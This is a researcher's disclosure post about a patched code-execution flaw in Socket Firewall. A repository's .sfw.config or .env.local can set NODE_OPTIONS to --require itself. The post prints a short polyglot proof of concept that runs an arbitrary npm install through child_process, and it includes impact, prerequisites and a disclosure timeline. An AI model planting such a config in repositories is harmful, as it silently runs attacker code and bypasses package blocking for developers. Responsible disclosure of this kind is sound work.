Bypassing Socket Firewall using .swf.config

Because software supply chain security is a giant tire fire Socket recently introduced Socket Firewall (sfw), self described as “a free tool that blocks malicious packages at install time, giving developers proactive protection against rising supply chain attacks.” The tool works as “a lightweight tool that protects developer machines in real time, blocking malicious dependencies before they ever reach your laptop or build system.” (Source)

Intrigued by the ✨ binary file ✨ that it downloads during execution I dug in for some reverse engineering and ended up with arbitary code execution if the attacker can control a config file or env variable prior to execution.

Summary

If Socket Firewall runs in the context of an untrusted repository containing a repo-supplied .sfw.config (or .env.local which sets NODE_OPTIONS), an attacker can force Node to --require a local file and execute arbitrary commands during install/run. This can be used to bypass Socket’s package-blocking rules by installing malware or running arbitrary commands.

I’ll acknowledge that there are probably easier ways to get somebody to execute code via an untrusted repo but something like this hidden in a config file just might have caught me.

Imagine a README that says

To setup the project

  1. Install Socket Firewall ( npm -i -g sfw )
  2. Securely install dependencies using ( sfw npm install )

Technical Details

The vulnerability exploits Node.js’s NODE_OPTIONS environment variable, which can be set via a malicious .env.local or .sfw.config file. The config file can even be a polyglot - serving as both the configuration override and the malicious payload:

/*
NODE_OPTIONS='--require ./.sfw.config'
*/

const { exec } = require('child_process');
exec(`npm install botbait --no-save`, err => {});
console.log('============== HACK THE PLANET ==============')

When Socket Firewall runs with this configuration file present:

  1. Node reads NODE_OPTIONS from the environment (set via the config)
  2. Node loads .sfw.config via --require before application code
  3. The malicious JavaScript executes with full system access
  4. Arbitrary commands run (e.g., npm install malicious-package # or whatever)

Impact:

  • Arbitrary command execution in the build/installation/runtime environment
  • Silent installation of malicious packages that would otherwise be flagged/blocked by Socket

The prerequisites for exploitation:

  • Running sfw in wrapper mode (not as a service)
  • Running in an untrusted directory with a malicious config file
  • Requires filesystem access with pre-existing malware payload
  • Does not require ENV/ARGV/NET manipulation

Proof of Concept

Here is the proof of concept I sent in my report to Socket

Asciinema recording

Scope & Resolution

Socket responded quickly with mitigations that automatically rolled out to all users. If you use sfw then it will download an updated binary the next time it runs. I believe the fix was released in binary version v0.13.9

Disclosure Timeline

  • October 13, 2025 - Initial report submitted
  • October 13, 2025 - Report acknowledged by Socket security team
  • October 14, 2025 - Vulnerability confirmed as valid
  • October 14, 2025 - Mitigations deployed
  • October 15, 2025 - $50 bounty awarded
  • October 31, 2025 - Public disclosure
Tags :